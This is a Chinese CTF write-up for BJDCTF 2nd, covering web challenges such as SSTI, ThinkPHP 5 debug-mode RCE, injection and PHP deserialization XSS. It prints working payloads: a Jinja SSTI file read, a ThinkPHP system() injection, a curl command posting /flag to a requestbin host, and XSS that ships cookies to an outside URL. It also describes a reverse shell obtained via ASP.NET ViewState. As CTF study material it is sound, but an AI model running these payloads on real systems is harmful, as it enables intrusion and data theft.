BJDCTF 2nd Writeup

fake google

随便输点什么,url来看不是php,原样回显

那很有可能是ssti了,试试{{config}}有回显,直接打个python3的payload试试

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[‘open‘](‘/flag‘).read()}}

拿到flag

old-hack

进去后看到是tp5,题目名字又叫old-attack,也没扫到源码,估计是现成的洞了。t框架有s参数可以加载模块,随便加点什么,发现开了debug模式,其中可以看到tp的版本。

https://www.exploit-db.com/搜tp,还真有个thinkphp 5.0.23(完整版)debug模式下的payload

(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

直接拿来用完事

duangShell

这道题我做的时候很简单,.index.php.swpvim -r复原一下,flag就在根目录

curl http://requestbin.xxx -X POST -d "`head /flag`"就送flag了,但是后来学弟做的时候flag怎么都找不到了,再后来我也没找到就没管。。

简单注入

过滤了引号没过滤\,postusername=\&password=||1#发现回显不一样了,布尔盲注就完了,select被过滤了,不过不要紧,直接substr(password,1,1)然后拿这个登录就可以拿到flag了

假猪套天下第一

套,就硬套

开局假登录,hint在302界面,去访问L0g1n.php

如下依次改时间戳,加header就行了(这个Commodore是真的坑)

Schro?dinger

这题二血

源码hintNote : Remenmber to remove test.php!,打开test.php,和index.php的功能正好相符合,那就input。下面那个动效我感觉是js做的,源代码里面也是js调用几个奇怪的函数,但是只引入了jQuery.js,说明这个jQuery.js有问题的,打开一看果然是个自制的,其中跟成功率有关的是

function script(sub){
	var rate = sub;
	var t = setInterval(function(){
		rate += 1;
		span4.innerText = Math.log(rate) * 4.7;
	}, 1000);
}

看了好半天,发现cookie里面有个奇怪的东西dXNlcg=MTU4NDg4ODIyNg%3D%3D,base64解码后看起来是个时间戳,随便改了试试看,发现成功率变了,再看源代码,发现script的参数变大了,按这个思路把时间回调就行,直接狠一点,改成MA==,就可以得到password。

然而这个password他不是个password,我各种姿势试了半天,都没成功,后来反应过来是个b站av号,后面@时间戳应该是评论的时间,找到flag后我情不自禁在留言区真情流露

xss之光

git源码泄露,就两行,是个反序列化,结合题目名字,应该是php原生类与反序列化xss,那就是这样了

<?php
$a = new Exception("<script>window.location.href=\"http://http.requestbin.buuoj.cn/1nrks0e1?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);

elementmaster

脑洞题,不想说了,<p hidden id>,hex2bin后是元素Po,把元素周期表跑一遍就完了

文件探测

有意思的题来了。首页源代码里hint,BJDCTF传统艺能,那就是hint藏header,没话说,进入home.php

file参数,很自然试一下伪协议读文件,能读到system.phphome.php的源码。读源码,home文件包含过滤很死,没什么机会,但是还过滤了admin,尝试一下发现有admin.php(我就是卡这里卡了一晚上)。system.phpfile_get_contents不能读任意文件,只能用来ssrf,用来访问http://127.0.0.1/admin#,用#锚点来绕过后面的脏字符。sprintf("$url method&content_size:$method%d", $detect)只要让$method=‘%s%‘就能输出字符串,然后读到admin.php源码

admin.php下面随机是基本真随机,没法爆破。但是其实有个逻辑问题

if (isset($_GET[‘decrypt‘])) {
    $decr = $_GET[‘decrypt‘];
    if (Check()){
        $data = $_SESSION[‘secret‘];
        include ‘flag_2sln2ndln2klnlksnf.php‘;
        $cipher = aesEn($data, ‘y1ng‘);
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die(‘爬‘);
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION[‘secret‘] = bin2hex(random_bytes($length));
}

那我如果不带session,直接带decrypt参数访问,不就不存在这个$_SESSION[‘secret‘]了吗?

<?php
function aesEn($data, $key)
{
    $method = ‘AES-128-CBC‘;
    $iv = md5("174.0.222.75",true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn(‘‘, ‘y1ng‘);

生成poc删掉cookie里的PHPSESSID直接传就行

EasyAspDotNet

这题一血

这题是HITCON 2018: Why so Serials?改的,实际上基本原题,参考HITCON 2018: Why so Serials? Write-upHITCON CTF 2018 - Why so Serials? Writeup

用后一篇文章的poc在本地搭个环境,把shellcode改成第一篇文章中的powershell反弹shell命令,然后再题目页面把html中的viewstate和它的签名换成我们本地生成的,运行就可以getshell。

其实真的不难,只是我没见过,具体原理我还要再研究研究

原文地址:https://www.cnblogs.com/20175211lyz/p/12549263.html

时间: 2024-08-30 12:38:51

BJDCTF 2nd Writeup的相关文章

[BJDCTF 2nd]文件探测

[BJDCTF 2nd]文件探测 那天,我见过的最强剑客,提起了天下最强的宝剑······却早已没了剑心. 记录一道BJDCTF第二次比赛的题目,相比于上一次的题目,这次的题目质量更好,对选手要求更高,这里记录一个web的文件探测:进入题目,花里胡哨的页面没有什么用:查找信息,发现响应包里面有个提示,hint::home.php我们进去访问一下. 有个提示,显示我们处在system.php之下,我们这里看到url里面有个file:于是想到php伪协议,进行文件源码读取,这里键入php://fil

BUUOJ Misc刷题大作战

你竟然赶我走 随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来 乌镇峰会种图 只要会用winhex打开文件就行 rar 四位数密码爆破 qr 扫码 文件中的秘密 属性,备注 ningen binwalk分析+四位数密码爆破 wireshark 点进去 然后就拿到 镜子里面的世界 emm 这道题很迷惑 steg给了提示,然后发现管道有问题,就直接分析,接着就看到了答案, 但是从steg上复制的都是有问题的

从Pitre《Swift 基础教程2nd》开始

看了两天<Learn Objective-C on the MAC> 中文版本<Objective-C基础编程>,大概认真读到了第9章内存管理部分,感觉这语言可比C++简单多了. 第一天,因为有C语言基础的缘故,我在windows 上安装了GNUstep (Objective-C)开发环境,变看电子书籍,边在PC上编译运行树上的示例,几乎一个都没放过,还做了不少笔记. (毕竟作者 Mark Dalrymaple & Scott Knaster 是高屋建瓴,叙述技术娓娓道来,

2016第七季极客大挑战Writeup

第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{We1c0m3_To_G33k_2O!6} 并且可以知道后边的题的Flag格式为 SYC{} 2.xiao彩蛋 题目提示关注微博,从Syclover Team 博客(http://blog.sycsec.com)可获取到三叶草小组微博,私信发送flag后即可得到. 3.闪的好快 一开始拖进PS分帧数

Jarvis OJ - class10 -Writeup

Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道misc,记录这道题的Writeup主要是想记录解题的脚本 分析: 文件下载后是纯数据,binwalk发现为两段zlib压缩后的数据,其中第2段为default compression,这是信息1:strings查看字符串,发现IHDR, RGB, IDAT等和图像相关的字符,这是信息2: 步骤:

Jarvis OJ Pwn writeup

Jarvis OJ Pwn writeup1.[XMAN]level02.[XMAN]level13.[XMAN]level2(简单64位栈溢出)4.[XMAN]level2(x64)5.[XMAN]level3(32位下两次溢出拿shell)6.[XMAN]level3_x64(基本64位栈溢出,简单ROP)7.[XMAN]level4(DynELF泄露system地址)8.[XMAN]level5(mprotect函数)9.Test Your Memory(简单栈溢出,覆盖返回地址)10.S

Redtiger Hackit Writeup

RedTiger's Hackit Level 1 Welcome to level 1 Lets start with a simple injection. Target: Get the login for the user Hornoxe Hint: You really need one? omg -_- Tablename: level1_users 通过http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 发现c

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

2017年陕西省网络空间安全技术大赛——人民的名义-抓捕赵德汉2——Writeup

下载下来的文件是一个jar包,用die和binwalk检查,确实是一个纯正的jar包 java -jar FileName运行jar包,观察文件的外部特征,发现也是判断password的题目 ? 用查看jar包的工具jd-gui查看反编译的代码 大致浏览打码,发现UnitTests中的main函数很可疑,该段代码如下: public static void main(String[] args) { JFrame frame = new JFrame("Key check"); JBu